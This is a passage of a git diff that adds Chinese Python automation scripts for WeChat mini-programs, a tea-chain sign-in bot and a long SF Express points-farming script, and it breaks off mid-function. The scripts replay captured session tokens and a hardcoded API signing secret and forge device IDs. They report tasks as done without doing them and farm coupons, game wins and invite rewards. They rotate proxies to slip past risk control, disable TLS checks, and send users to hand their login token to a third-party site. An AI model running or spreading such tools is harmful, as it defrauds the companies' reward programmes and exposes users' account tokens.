appid/openid/session_key/encryptedData等小程序字段 + +#微信小程序霸王茶姬 +#进入后开抓包抓取签到数据 +#token在请求标头 剩下两个在data数据里 + + +#有问题联系3288588344 +#频道:https://pd.qq.com/s/672fku8ge + + +import os +import requests +import urllib3 +import time +import json +from urllib.parse import urlparse, parse_qs +#抓的数据放下面 +token='' +activityId='' +appid='' + +print('------霸王茶姬签到------') +url1='https://webapi2.qmai.cn/web/cmk-center/sign/takePartInSign' +headers={ + "Qm-From": "wechat", + "Qm-User-Token": token, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) XWEB/9129", + "Qm-From-Type": "catering", + "Referer": "https://servicewechat.com/wxafec6f8422cb357b/167/page-frame.html", + "xweb_xhr" : "1" +} +data={"activityId":activityId,"appid":appid} +response = requests.post(url=url1,headers=headers,data=data) # 三个参数 +print(response.text) + +url2='https://webapi2.qmai.cn/web/catering2-apiserver/crm/points-info' +data2={"appid":appid} +response2 = requests.post(url=url2,headers=headers,data=data2) +xiaoku=json.loads(response2.text) +print("总积分为"+str(int(xiaoku["data"]["totalPoints"]))) diff --git a/脚本库/微信小程序/抓包版/霸王茶姬签到/2025-06-28_霸王茶姬_9912dbbd.py b/脚本库/微信小程序/抓包版/霸王茶姬签到/2025-06-28_霸王茶姬_9912dbbd.py new file mode 100644 index 0000000..7b7d26d --- /dev/null +++ b/脚本库/微信小程序/抓包版/霸王茶姬签到/2025-06-28_霸王茶姬_9912dbbd.py @@ -0,0 +1,85 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%A7%AC.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%A7%AC.py +# Repo: jdqlscript/toulu +# Path: 霸王茶姬.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 9912dbbdb8c510a0c1cab7f819db26d0f240d60a1a77da938f8c2861357200c3 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +TL库 +QQ频道:https://pd.qq.com/s/672fku8ge +tg频道:https://t.me/TLtoulu +new Env("霸王茶姬签到") +cron: 20 20,7 * * * +打开微信小程序抓webapi.qmai.cn里面的qm-user-token(一般在请求头里)填到变量bwcjck里面即可 + +支持多用户运行 + +多用户用&或者@隔开 +例如账号1:hv1 账号2:hv2 +则变量为hv1&1hv2 +export bwcjck="" + + + +""" +import requests +import re +import os +import time + + + +#分割变量 +if 'bwcjck' in os.environ: + bwcjck = re.split("@|&",os.environ.get("bwcjck")) + print(f'查找到{len(bwcjck)}个账号') +else: + bwcjck = '' + print('无bwcjck变量') + + + +def yx(ck): + headers = {'qm-user-token': ck,'User-Agent': 'Mozilla/5.0 (Linux; Android 14; 2201122C Build/UKQ1.230917.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160065 MMWEBSDK/20231202 MMWEBID/2247 MicroMessenger/8.0.47.2560(0x28002F30) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 MiniProgramEnv/android','qm-from': 'wechat'} + dl = requests.get(url='https://webapi.qmai.cn/web/catering/crm/personal-info',headers=headers).json() + if dl['message'] == 'ok': + print(f"账号:{dl['data']['mobilePhone']}登录成功") + data = {"activityId":"947079313798000641","appid":"10086"} + lq = requests.post(url='https://webapi.qmai.cn/web/cmk-center/sign/takePartInSign',data=data,headers=headers).json() + if lq['message'] == 'ok': + print(f"签到情况:获得{lq['data']['rewardDetailList'][0]['rewardName']}:{lq['data']['rewardDetailList'][0]['sendNum']}") + else: + print(f"签到情况:{lq['message']}") +def point(ck): + headers = {'qm-user-token': ck,'User-Agent': 'Mozilla/5.0 (Linux; Android 14; 2201122C Build/UKQ1.230917.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160065 MMWEBSDK/20231202 MMWEBID/2247 MicroMessenger/8.0.47.2560(0x28002F30) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 MiniProgramEnv/android','qm-from': 'wechat'} + dl = requests.post(url='https://webapi.qmai.cn/web/catering/crm/points-info',headers=headers).json() + # print(f"账号:{dl}") + if dl['message'] == 'ok': + totalPoints=dl['data'] ['totalPoints'] + soonExpiredPoints=dl['data'] ['soonExpiredPoints'] + expiredTime=dl['data'] ['expiredTime'] + print(f"积分:{totalPoints} 其中有 {soonExpiredPoints }积分将于{ expiredTime }过期") + + +def main(): + z = 1 + for ck in bwcjck: + try: + print(f'登录第{z}个账号') + print('----------------------') + yx(ck) + point(ck) + print('----------------------') + z = z + 1 + except Exception as e: + print(e) + print('未知错误1') + +if __name__ == '__main__': + try: + main() + except Exception as e: + print('未知错误') diff --git a/脚本库/微信小程序/抓包版/顺丰端午版本/2025-06-03_顺丰端午版本_155fe229.py b/脚本库/微信小程序/抓包版/顺丰端午版本/2025-06-03_顺丰端午版本_155fe229.py new file mode 100644 index 0000000..6a6a6db --- /dev/null +++ b/脚本库/微信小程序/抓包版/顺丰端午版本/2025-06-03_顺丰端午版本_155fe229.py @@ -0,0 +1,1071 @@ +# Source: https://gitee.com/jdqlscript/zyqinglong/blob/main/%E9%A1%BA%E4%B8%B0%E7%AB%AF%E5%8D%88%E7%89%88%E6%9C%AC.py +# Raw: https://gitee.com/jdqlscript/zyqinglong/raw/main/%E9%A1%BA%E4%B8%B0%E7%AB%AF%E5%8D%88%E7%89%88%E6%9C%AC.py +# Repo: jdqlscript/zyqinglong +# Path: 顺丰端午版本.py +# UploadedAt: 2025-06-03T12:08:50+08:00 +# SHA256: 155fe229920272b06e5229b04f5071d5398aab0a48fa7da60fc02aa19cc17114 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#2025/1/6 遍历生活特权所有分组的券进行领券,券没啥用但完成可领取30点丰蜜目前一天拉满155点 +#变量名:sfsyUrl +#格式:多账号用&分割或创建多个变量sfsyUrl +#关于参数获取如下两种方式: +#❶顺丰APP绑定微信后,前往该站点sm.linzixuan.work用微信扫码登录后,选择复制编码Token,不要复制错 +#或者 +#❷打开小程序或APP-我的-积分, 手动抓包以下几种URL之一 +#https://mcs-mimp-web.sf-express.com/mcs-mimp/share/weChat/shareGiftReceiveRedirect +#https://mcs-mimp-web.sf-express.com/mcs-mimp/share/app/shareRedirect +#抓好URL后访问https://www.toolhelper.cn/EncodeDecode/Url进行编码,请务必按提示操作 +import hashlib +import json +import os +import random +import time +import re +from datetime import datetime, timedelta +from sys import exit +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +from urllib.parse import unquote + +# 禁用安全请求警告 +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +# 代理相关配置 +PROXY_API_URL = os.getenv('SF_PROXY_API_URL', '') # 从环境变量获取代理API地址 + +def get_proxy(): + """ + 从代理API获取代理 + 返回格式:{'http': 'http://ip:port', 'https': 'http://ip:port'} + """ + try: + if not PROXY_API_URL: + print('⚠️ 未配置代理API地址,将不使用代理') + return None + + response = requests.get(PROXY_API_URL, timeout=10) + if response.status_code == 200: + proxy_text = response.text.strip() + if ':' in proxy_text: + proxy = f'http://{proxy_text}' + return { + 'http': proxy, + 'https': proxy + } + print(f'❌ 获取代理失败: {response.text}') + return None + except Exception as e: + print(f'❌ 获取代理异常: {str(e)}') + return None + +send_msg = '' +one_msg = '' + +def Log(cont=''): + global send_msg, one_msg + print(cont) + if cont: + one_msg += f'{cont}\n' + send_msg += f'{cont}\n' + +inviteId = [''] + +class RUN: + def __init__(self, info, index): + global one_msg + one_msg = '' + split_info = info.split('@') + url = split_info[0] + len_split_info = len(split_info) + last_info = split_info[len_split_info - 1] + self.send_UID = None + if len_split_info > 0 and "UID_" in last_info: + self.send_UID = last_info + self.index = index + 1 + + # 获取代理 + self.proxy = get_proxy() + if self.proxy: + print(f"✅ 成功获取代理: {self.proxy['http']}") + + self.s = requests.session() + self.s.verify = False + if self.proxy: + self.s.proxies = self.proxy + + self.headers = { + 'Host': 'mcs-mimp-web.sf-express.com', + 'upgrade-insecure-requests': '1', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090551) XWEB/6945 Flue', + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'sec-fetch-site': 'none', + 'sec-fetch-mode': 'navigate', + 'sec-fetch-user': '?1', + 'sec-fetch-dest': 'document', + 'accept-language': 'zh-CN,zh', + 'platform': 'MINI_PROGRAM', + } + + # 32周年活动相关属性初始化 + self.ifPassAllLevel = False + self.surplusPushTime = 0 + self.lotteryNum = 0 + + self.anniversary_black = False + self.member_day_black = False + self.member_day_red_packet_drew_today = False + self.member_day_red_packet_map = {} + self.login_res = self.login(url) + self.all_logs = [] # 初始化all_logs属性 + self.today = datetime.now().strftime('%Y-%m-%d') + self.max_level = 8 + self.packet_threshold = 1 << (self.max_level - 1) + + def get_deviceId(self, characters='abcdef0123456789'): + result = '' + for char in 'xxxxxxxx-xxxx-xxxx': + if char == 'x': + result += random.choice(characters) + elif char == 'X': + result += random.choice(characters).upper() + else: + result += char + return result + + def login(self, sfurl): + try: + decoded_url = unquote(sfurl) + ress = self.s.get(decoded_url, headers=self.headers) + self.user_id = self.s.cookies.get_dict().get('_login_user_id_', '') + self.phone = self.s.cookies.get_dict().get('_login_mobile_', '') + self.mobile = self.phone[:3] + "*" * 4 + self.phone[7:] if self.phone else '' + + if self.phone: + Log(f'👤 账号{self.index}:【{self.mobile}】登陆成功') + return True + else: + Log(f'❌ 账号{self.index}获取用户信息失败') + return False + except Exception as e: + Log(f'❌ 登录异常: {str(e)}') + return False + + def getSign(self): + timestamp = str(int(round(time.time() * 1000))) + token = 'wwesldfs29aniversaryvdld29' + sysCode = 'MCS-MIMP-CORE' + data = f'token={token}×tamp={timestamp}&sysCode={sysCode}' + signature = hashlib.md5(data.encode()).hexdigest() + data = { + 'sysCode': sysCode, + 'timestamp': timestamp, + 'signature': signature + } + self.headers.update(data) + return data + + def do_request(self, url, data={}, req_type='post', max_retries=3): + self.getSign() + retry_count = 0 + + while retry_count < max_retries: + try: + if req_type.lower() == 'get': + response = self.s.get(url, headers=self.headers, timeout=30) # 添加超时 + elif req_type.lower() == 'post': + response = self.s.post(url, headers=self.headers, json=data, timeout=30) # 添加超时 + else: + raise ValueError('Invalid req_type: %s' % req_type) + + # 检查响应状态码 + response.raise_for_status() + + try: + res = response.json() + return res + except json.JSONDecodeError as e: + print(f'JSON解析失败: {str(e)}, 响应内容: {response.text[:200]}') # 只打印前200个字符 + retry_count += 1 + if retry_count < max_retries: + print(f'正在进行第{retry_count + 1}次重试...') + time.sleep(2) # 添加延迟 + continue + return None + + except requests.exceptions.RequestException as e: + retry_count += 1 + if retry_count < max_retries: + print(f'请求失败,正在切换代理重试 ({retry_count}/{max_retries}): {str(e)}') + # 重新获取代理 + self.proxy = get_proxy() + if self.proxy: + print(f"✅ 成功获取新代理: {self.proxy['http']}") + self.s.proxies = self.proxy + time.sleep(2) # 等待2秒后重试 + else: + print('请求最终失败:', e) + return None + + return None # 所有重试都失败后返回None + + def sign(self): + print(f'🎯 开始执行签到') + json_data = {"comeFrom": "vioin", "channelFrom": "WEIXIN"} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + count_day = response.get('obj', {}).get('countDay', 0) + if response.get('obj') and response['obj'].get('integralTaskSignPackageVOList'): + packet_name = response["obj"]["integralTaskSignPackageVOList"][0]["packetName"] + Log(f'✨ 签到成功,获得【{packet_name}】,本周累计签到【{count_day + 1}】天') + else: + Log(f'📝 今日已签到,本周累计签到【{count_day + 1}】天') + else: + print(f'❌ 签到失败!原因:{response.get("errorMessage")}') + + def superWelfare_receiveRedPacket(self): + print(f'🎁 超值福利签到') + json_data = { + 'channel': 'czflqdlhbxcx' + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberActLengthy~redPacketActivityService~superWelfare~receiveRedPacket' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + gift_list = response.get('obj', {}).get('giftList', []) + if response.get('obj', {}).get('extraGiftList', []): + gift_list.extend(response['obj']['extraGiftList']) + gift_names = ', '.join([gift['giftName'] for gift in gift_list]) + receive_status = response.get('obj', {}).get('receiveStatus') + status_message = '领取成功' if receive_status == 1 else '已领取过' + Log(f'🎉 超值福利签到[{status_message}]: {gift_names}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'❌ 超值福利签到失败: {error_message}') + + def get_SignTaskList(self, END=False): + if not END: print(f'🎯 开始获取签到任务列表') + json_data = { + 'channelType': '1', + 'deviceId': self.get_deviceId(), + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~queryPointTaskAndSignFromES' + response = self.do_request(url, data=json_data) + if response.get('success') == True and response.get('obj') != []: + totalPoint = response["obj"]["totalPoint"] + if END: + Log(f'💰 当前积分:【{totalPoint}】') + return + Log(f'💰 执行前积分:【{totalPoint}】') + for task in response["obj"]["taskTitleLevels"]: + self.taskId = task["taskId"] + self.taskCode = task["taskCode"] + self.strategyId = task["strategyId"] + self.title = task["title"] + status = task["status"] + skip_title = ['用行业模板寄件下单', '去新增一个收件偏好', '参与积分活动'] + if status == 3: + print(f'✨ {self.title}-已完成') + continue + if self.title in skip_title: + print(f'⏭️ {self.title}-跳过') + continue + else: + # print("taskId:", taskId) + # print("taskCode:", taskCode) + # print("----------------------") + self.doTask() + time.sleep(3) + self.receiveTask() + + def doTask(self): + print(f'🎯 开始去完成【{self.title}】任务') + json_data = { + 'taskCode': self.taskCode, + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'✨ 【{self.title}】任务-已完成') + else: + print(f'❌ 【{self.title}】任务-{response.get("errorMessage")}') + + def receiveTask(self): + print(f'🎁 开始领取【{self.title}】任务奖励') + json_data = { + "strategyId": self.strategyId, + "taskId": self.taskId, + "taskCode": self.taskCode, + "deviceId": self.get_deviceId() + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~fetchIntegral' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'✨ 【{self.title}】任务奖励领取成功!') + else: + print(f'❌ 【{self.title}】任务-{response.get("errorMessage")}') + + def do_honeyTask(self): + # 做任务 + json_data = {"taskCode": self.taskCode} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.taskType}】任务-已完成') + else: + print(f'>【{self.taskType}】任务-{response.get("errorMessage")}') + + def receive_honeyTask(self): + print('>>>执行收取丰蜜任务') + # 收取 + self.headers['syscode'] = 'MCS-MIMP-CORE' + self.headers['channel'] = 'wxwdsj' + self.headers['accept'] = 'application/json, text/plain, */*' + self.headers['content-type'] = 'application/json;charset=UTF-8' + self.headers['platform'] = 'MINI_PROGRAM' + json_data = {"taskType": self.taskType} + # print(json_data) + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~receiveHoney' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'收取任务【{self.taskType}】成功!') + else: + print(f'收取任务【{self.taskType}】失败!原因:{response.get("errorMessage")}') + + + def get_coupom(self, goods): + # 请求参数 + json_data = { + "from": "Point_Mall", + "orderSource": "POINT_MALL_EXCHANGE", + "goodsNo": goods['goodsNo'], + "quantity": 1, + "taskCode": self.taskCode + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder' + + # 发起领券请求 + response = self.do_request(url, data=json_data) + if response.get('success') == True: + # print(f'> 领券成功!') + return True # 领取成功 + else: + # print(f'> 领券失败!原因:{response.get("errorMessage")}') + return False # 领取失败 + + + def get_coupom_list(self): + # 请求参数 + json_data = { + "memGrade": 2, + "categoryCode": "SHTQ", + "showCode": "SHTQWNTJ" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~mallGoodsLifeService~list' + + # 发起获取券列表请求 + response = self.do_request(url, data=json_data) + + if response.get('success') == True: + # 遍历所有分组的券列表 + all_goods = [] + for obj in response.get("obj", []): # 遍历所有券分组 + goods_list = obj.get("goodsList", []) + all_goods.extend(goods_list) # 收集到一个总列表中 + + # 尝试领取 + for goods in all_goods: + exchange_times_limit = goods.get('exchangeTimesLimit', 0) + + # 检查券是否可兑换 + if exchange_times_limit >= 1: + #print(f'尝试领取:{goods["goodsName"]}') + + # 尝试领取券 + if self.get_coupom(goods): + print('✨ 成功领取券,任务结束!') + return # 成功领取后退出 + print('📝 所有券尝试完成,没有可用的券或全部领取失败。') + else: + print(f'> 获取券列表失败!原因:{response.get("errorMessage")}') + + + + def get_honeyTaskListStart(self): + print('🍯 开始获取采蜜换大礼任务列表') + # 任务列表 + json_data = {} + self.headers['channel'] = 'wxwdsj' + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~taskDetail' + + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + for item in response["obj"]["list"]: + self.taskType = item["taskType"] + status = item["status"] + if status == 3: + print(f'✨ 【{self.taskType}】-已完成') + continue + if "taskCode" in item: + self.taskCode = item["taskCode"] + if self.taskType == 'DAILY_VIP_TASK_TYPE': + self.get_coupom_list() + else: + self.do_honeyTask() + if self.taskType == 'BEES_GAME_TASK_TYPE': + self.honey_damaoxian() + time.sleep(2) + + def honey_damaoxian(self): + print('>>>执行大冒险任务') + # 大冒险 + gameNum = 5 + for i in range(1, gameNum): + json_data = { + 'gatherHoney': 20, + } + if gameNum < 0: break + print(f'>>开始第{i}次大冒险') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeGameService~gameReport' + response = self.do_request(url, data=json_data) + # print(response) + stu = response.get('success') + if stu: + gameNum = response.get('obj')['gameNum'] + print(f'>大冒险成功!剩余次数【{gameNum}】') + time.sleep(2) + gameNum -= 1 + elif response.get("errorMessage") == '容量不足': + print(f'> 需要扩容') + self.honey_expand() + else: + print(f'>大冒险失败!【{response.get("errorMessage")}】') + break + + def honey_expand(self): + print('>>>容器扩容') + # 大冒险 + gameNum = 5 + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~expand' + response = self.do_request(url, data={}) + # print(response) + stu = response.get('success', False) + if stu: + obj = response.get('obj') + print(f'>成功扩容【{obj}】容量') + else: + print(f'>扩容失败!【{response.get("errorMessage")}】') + + def honey_indexData(self, END=False): + if not END: print('--------------------------------\n🍯 开始执行采蜜换大礼任务') + # 邀请 + random_invite = random.choice([invite for invite in inviteId if invite != self.user_id]) + self.headers['channel'] = 'wxwdsj' + json_data = {"inviteUserId": random_invite} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~indexData' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + usableHoney = response.get('obj').get('usableHoney') + activityEndTime = response.get('obj').get('activityEndTime', '') + activity_end_time = datetime.strptime(activityEndTime, "%Y-%m-%d %H:%M:%S") + current_time = datetime.now() + + if not END: + print(f'📅 本期活动结束时间【{activityEndTime}】') + Log(f'🍯 执行前丰蜜:【{usableHoney}】') + taskDetail = response.get('obj').get('taskDetail') + + if taskDetail != []: + for task in taskDetail: + self.taskType = task['type'] + self.receive_honeyTask() + time.sleep(2) + else: + Log(f'🍯 执行后丰蜜:【{usableHoney}】') + return + + def EAR_END_2023_TaskList(self): + print('\n🎭 开始年终集卡任务') + # 任务列表 + json_data = { + "activityCode": "YEAREND_2024", + "channelType": "MINI_PROGRAM" + } + self.headers['channel'] = '24nzdb' + self.headers['platform'] = 'MINI_PROGRAM' + self.headers['syscode'] = 'MCS-MIMP-CORE' + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, data=json_data) + if response.get('success') == True: + for item in response["obj"]: + self.title = item["taskName"] + self.taskType = item["taskType"] + status = item["status"] + if status == 3: + print(f'✨ 【{self.taskType}】-已完成') + continue + if self.taskType == 'INTEGRAL_EXCHANGE': + self.EAR_END_2023_ExchangeCard() + elif self.taskType == 'CLICK_MY_SETTING': + self.taskCode = item["taskCode"] + self.addDeliverPrefer() + if "taskCode" in item: + self.taskCode = item["taskCode"] + self.doTask() + time.sleep(3) + self.EAR_END_2023_receiveTask() + else: + print(f'⚠️ 暂时不支持【{self.title}】任务') + + def activityTaskService_taskList(self): + print('🎭 开始32周年活动任务') + json_data = { + "activityCode": "DRAGONBOAT_2025", + "channelType": "MINI_PROGRAM" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + # 需要过滤的任务类型 + skip_task_types = [ + 'PLAY_ACTIVITY_GAME', # 玩一笔连粽游戏 + 'SEND_SUCCESS_RECALL', # 去寄快递 + 'OPEN_SUPER_CARD', # 开通至尊会员 + 'CHARGE_NEW_EXPRESS_CARD', # 充值新速运通全国卡 + 'OPEN_NEW_EXPRESS_CARD', # 开通新速运通 + 'OPEN_FAMILY_CARD', # 开通亲情卡 + 'INTEGRAL_EXCHANGE' # 积分兑换 + ] + + task_list = response.get('obj', []) + # 过滤掉已完成的和不支持的任务类型 + task_list = [x for x in task_list if x.get('status') == 2 and x.get('taskType') not in skip_task_types] + + if not task_list: + print('没有可执行的任务') + return + + print(f'📝 获取到未完成任务: {len(task_list)}个') + for task in task_list: + print(f'📝 开始任务: {task.get("taskName")} [{task.get("taskType")}]') + await_time = random.randint(1500, 3000) / 1000.0 + time.sleep(await_time) + self.activityTaskService_finishTask(task) + time.sleep(1.5) + else: + error_msg = response.get("errorMessage", "未知错误") + print(f'获取活动任务失败: {error_msg}') + if isinstance(response.get("obj"), dict): + print(f'错误详情: {json.dumps(response.get("obj"), ensure_ascii=False)}') + + def activityTaskService_finishTask(self, task): + json_data = { + "taskCode": task.get('taskCode') + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + result_obj = response.get("obj", "") + print(f'📝 完成任务[{task.get("taskName")}]: {result_obj}') + else: + error_code = response.get("errorCode", "未知错误码") + error_msg = response.get("errorMessage", "未知错误") + print(f'❌ 完成任务[{task.get("taskName")}]失败: {error_code} - {error_msg}') + if isinstance(response.get("obj"), dict): + print(f'错误详情: {json.dumps(response.get("obj"), ensure_ascii=False)}') + + def dragonBoatGame2025ServiceWin(self, levelIndex): + json_data = {"levelIndex": levelIndex} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoatGame2025Service~win' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'🎮 第{levelIndex}关通关成功') + else: + error_msg = response.get("errorMessage", "未知错误") + print(f'❌ 第{levelIndex}关通关失败: {error_msg}') + if isinstance(response.get("obj"), dict): + print(f'错误详情: {json.dumps(response.get("obj"), ensure_ascii=False)}') + + def dragonBoat2025HastenService(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2025HastenService~getHastenStatus' + response = self.do_request(url, data={}) + if response.get('success') == True: + self.lotteryNum = response.get('obj', {}).get('remainHastenChance') + print(f'🎲 剩余加速次数: {self.lotteryNum}') + else: + print(f'查询加速次数失败: {response.get("errorMessage")}') + + def hastenLottery(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2025HastenService~hastenLottery' + response = self.do_request(url, data={}) + if response.get('success') == True: + remain = response.get('obj', {}).get('remainHastenChance', 0) + print(f'🎲 加速成功,剩余加速次数: {remain}') + else: + error_msg = response.get("errorMessage", "未知错误") + print(f'❌ 加速失败: {error_msg}') + if isinstance(response.get("obj"), dict): + print(f'错误详情: {json.dumps(response.get("obj"), ensure_ascii=False)}') + + def prizeDraw(self, opt): + json_data = {"currency": opt.get('currency')} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2025LotteryService~prizeDraw' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + gift_name = response.get('obj', {}).get('giftBagName', '未知奖励') + print(f'🎁 抽奖获得: {gift_name}') + else: + error_msg = response.get("errorMessage", "未知错误") + print(f'❌ 抽奖失败: {error_msg}') + if isinstance(response.get("obj"), dict): + print(f'错误详情: {json.dumps(response.get("obj"), ensure_ascii=False)}') + + def getUpgradeStatus(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2025UpgradeService~getUpgradeStatus' + response = self.do_request(url, data={}) + if response.get('success') == True: + current_ratio = response.get('obj', {}).get('currentRatio', 0) + level_list = [x for x in response.get('obj', {}).get('levelList', []) if x.get('balance', 0) > 0] + + if level_list: + print(f'🎯 当前进度: {current_ratio}%,已达到兑换条件') + for item in level_list: + self.prizeDraw(item) + time.sleep(1.5) + else: + print(f'⏳ 当前进度: {current_ratio}%') + else: + error_msg = response.get("errorMessage", "未知错误") + print(f'❌ 查询加速状态失败: {error_msg}') + if isinstance(response.get("obj"), dict): + print(f'错误详情: {json.dumps(response.get("obj"), ensure_ascii=False)}') + + def activityTaskService_integralExchange(self): + json_data = { + "exchangeNum": 1, + "activityCode": "DRAGONBOAT_2025" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2025TaskService~integralExchange' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print('✅ 积分兑换成功') + else: + error_msg = response.get("errorMessage", "未知错误") + print(f'❌ 积分兑换失败: {error_msg}') + if isinstance(response.get("obj"), dict): + print(f'错误详情: {json.dumps(response.get("obj"), ensure_ascii=False)}') + + def dragonBoatGame2025Service(self): + try: + json_data = {"channelType": "MINI_PROGRAM"} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoatGame2025Service~indexInfo' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + self.surplusPushTime = response.get('obj', {}).get('surplusPushTime', 0) + self.ifPassAllLevel = response.get('obj', {}).get('ifPassAllLevel', False) + print(f'🎮 剩余游戏次数: {self.surplusPushTime}') + return True + else: + print(f'访问失败: {response.get("errorMessage")}') + return False + except Exception as e: + print(f'访问异常: {str(e)}') + return False + + def addDeliverPrefer(self): + print(f'>>>开始【{self.title}】任务') + json_data = { + "country": "中国", + "countryCode": "A000086000", + "province": "北京市", + "provinceCode": "A110000000", + "city": "北京市", + "cityCode": "A111000000", + "county": "东城区", + "countyCode": "A110101000", + "address": "1号楼1单元101", + "latitude": "", + "longitude": "", + "memberId": "", + "locationCode": "010", + "zoneCode": "CN", + "postCode": "", + "takeWay": "7", + "callBeforeDelivery": 'false', + "deliverTag": "2,3,4,1", + "deliverTagContent": "", + "startDeliverTime": "", + "selectCollection": 'false', + "serviceName": "", + "serviceCode": "", + "serviceType": "", + "serviceAddress": "", + "serviceDistance": "", + "serviceTime": "", + "serviceTelephone": "", + "channelCode": "RW11111", + "taskId": self.taskId, + "extJson": "{\"noDeliverDetail\":[]}" + } + url = 'https://ucmp.sf-express.com/cx-wechat-member/member/deliveryPreference/addDeliverPrefer' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print('新增一个收件偏好,成功') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def member_day_index(self): + print('🎭 会员日活动') + try: + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + payload = {'inviteUserId': invite_user_id} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~index' + + response = self.do_request(url, data=payload) + if response.get('success'): + lottery_num = response.get('obj', {}).get('lotteryNum', 0) + can_receive_invite_award = response.get('obj', {}).get('canReceiveInviteAward', False) + if can_receive_invite_award: + self.member_day_receive_invite_award(invite_user_id) + self.member_day_red_packet_status() + Log(f'🎁 会员日可以抽奖{lottery_num}次') + for _ in range(lottery_num): + self.member_day_lottery() + if self.member_day_black: + return + self.member_day_task_list() + if self.member_day_black: + return + self.member_day_red_packet_status() + else: + error_message = response.get('errorMessage', '无返回') + Log(f'📝 查询会员日失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('📝 会员日任务风控') + except Exception as e: + print(e) + + def member_day_receive_invite_award(self, invite_user_id): + try: + payload = {'inviteUserId': invite_user_id} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~receiveInviteAward' + + response = 